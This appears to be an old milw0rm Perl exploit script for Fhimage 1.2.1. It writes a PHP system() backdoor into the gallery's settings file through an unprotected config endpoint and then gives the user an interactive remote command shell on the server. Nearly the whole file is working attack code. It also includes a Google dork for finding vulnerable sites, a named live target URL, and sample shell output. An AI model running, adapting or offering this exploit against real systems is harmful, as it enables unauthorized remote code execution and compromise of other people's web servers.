#!/usr/bin/perl
# -----------------------------------------------------------------------------------------------
# INFORMATIONS
# -----------------------------------------------------------------------------------------------
# Fhimage 1.2.1
# http://www.flash-here.com/downloads/download.php?id=9
# Remote Command Execution Exploit (mq = Off)
# by Osirys
# osirys[at]live[dot]it
# osirys.org
# Thanks: x0r
# !! => This exploit works only with:
# register_globals = On
# magic_quotes_gpc = Off
# Google Dork: FhImage, powered by Flash-here.com
# Live : http://www.diandata.com/audi/photos/
# --------------------------------------------------------------
# Exploit in action :D
# --------------------------------------------------------------
# osirys[~]>$ perl rce.txt http://localhost/fhimage/
#
# ----------------------------------------------
# Fhimage Remote Command Execution Exploit
# Coded by Osirys
# [*] Needs Magic Quotes Off
# ----------------------------------------------
#
# [+] Configuration file found !
# [+] Injecting php vulnerable code ..
# [+] Injection succesfully !
# [*] Hi my master, execute your commands !
#
# shell[localhost]$> whoami
# apache
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# --------------------------------------------------------------
use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
my $conf_path = "/imgconfig/index.php?mode=write";
my $rce_path = "/settings.php";
my $evil_code = "Click+to+view+the+larger+image%27%3Bsystem%28%24_GET%5B%27cmd%27%5D%29%3B%24lol+%3D+%27aa";
my $host = $ARGV[0];
($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
$test_url = $host.$conf_path;
$test_re = get_req($test_url);
if ($test_re !~ /Config Settings/) {
print "[-] Configuration file not found, or insufficent permissions \n";
print "[-] Exploit failed ! \n";
exit(0);
}
else {
print "[+] Configuration file found ! \n";
get_old_data($test_url);
my $url = $path.$conf_path;
my $post = "g_title=" .$t. "&g_desc=".$evil_code. "&g_bgcolor=" .$g1."&g_titlecolor=".$g2."&g_".
"desccolor=".$g3."&g_textcolor=".$g4."&g_linkcolor=".$g5."&g_vlinkcolor=".$g6."&g_c".
"ols=".$g7."&g_rows=".$g8."&g_thumb_worh=".$g9."&g_twidth=".$g10."&g_spacing=". $g11.
"&g_dispFn=check&g_sortByFn=check&g_insensitive_sort=check&g_folderImg=&g_popupWidt".
"h=400&g_popupHeight=400";
my $length = length($post);
my $socket = new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto => 'tcp',
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";
my $data = "POST ".$url." HTTP/1.1\r\n".
"Host: ".$h0st."\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".$length."\r\n\r\n".
$post."\r\n";
print "[+] Injecting php vulnerable code ..\n";
$socket->send($data);
while ((my $e = <$socket>)&&($inj_t != 1)) {
if ($e =~ /Settings Saved/) {
print "[+] Injection succesfully !\n";
print "[*] Hi my master, execute your commands !\n\n";
$inj_t = 1;
}
}
$inj_t == 1 || die "[-] Unable to inject php code ! \n";
my $re = get_req($host."/imgconfig/index.php");
if ($re =~ /g_desc" size="50" value="Click to view the larger image';system\(\$_GET\['cmd']\);\$lol = 'aa">/) {
print "[+] Magic Quotes are ON. Exploit Failed\n\n";
exit(0);
}
&exec_cmd;
}
sub exec_cmd {
$h0st !~ /www\./ || $h0st =~ s/www\.//;
print "shell[$h0st]\$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = ($host.$rce_path."?cmd=".$cmd);
$re = get_req($exec_url);
if ($re =~ /(.*)/) {
my $cmd = $1;
print "$cmd\n";
&exec_cmd;
}
else {
print "[-] Undefined output or bad cmd !\n";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http:\/\/(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})\/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)/\/$1/;
$full_det = $h0st." ".$path;
return $full_det;
}
sub get_old_data() {
my $url = $_[0];
my $re = &get_req($url);
if ($re =~ /name="g_title" size="50" value="(.*)">/) { $t = $1; }
if ($re =~ /g_bgcolor'\)" cols="7" maxlength="7" value="#([0-9a-zA-Z]{6})">/) { $g1 = "\%23".$1; }
if ($re =~ /g_titlecolor'\)" cols="7" maxlength="7" value="#([0-9a-zA-Z]{6})">/) { $g2 = "\%23".$1; }
if ($re =~ /g_desccolor'\)" cols="7" maxlength="7" value="#([0-9a-zA-Z]{6})">/) { $g3 = "\%23".$1; }
if ($re =~ /g_textcolor'\)" cols="7" maxlength="7" value="#([0-9a-zA-Z]{6})">/) { $g4 = "\%23".$1; }
if ($re =~ /g_linkcolor'\)" cols="7" maxlength="7" value="#([0-9a-zA-Z]{6})">/) { $g5 = "\%23".$1; }
if ($re =~ /g_vlinkcolor'\)" cols="7" maxlength="7" value="#([0-9a-zA-Z]{6})">/) { $g6 = "\%23".$1; }
if ($re =~ /g_cols" cols="50" value="([0-9]{1,3})"> /) { $g7 = $1; }
if ($re =~ /g_rows" cols="50" value="([0-9]{1,3})"> /) { $g8 = $1; }
if (($re =~ /g_thumb_worh" type="radio" value="w" checked >/)&&($re =~ /g_twidth" cols="50" value="([0-9]{1,5})">/)) { ($g9,$g10) = ("w",$1); }
if (($re =~ /g_thumb_worh" type="radio" value="h" checked >/)&&($re =~ /g_twidth" cols="50" value="([0-9]{1,5})">/)) { ($g9,$g10) = ("h",$1); }
if ($re =~ /g_spacing" type="text" id="g_spacing" value="([0-9]{1,5})">/) { $g11 = $1; }
}
sub banner {
print "\n".
" ---------------------------------------------- \n".
" Fhimage Remote Command Execution Exploit \n".
" Coded by Osirys \n".
" [*] Needs Magic Quotes Off \n".
" ---------------------------------------------- \n\n";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Bad hostname! \n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}
# milw0rm.com [2009-01-19]
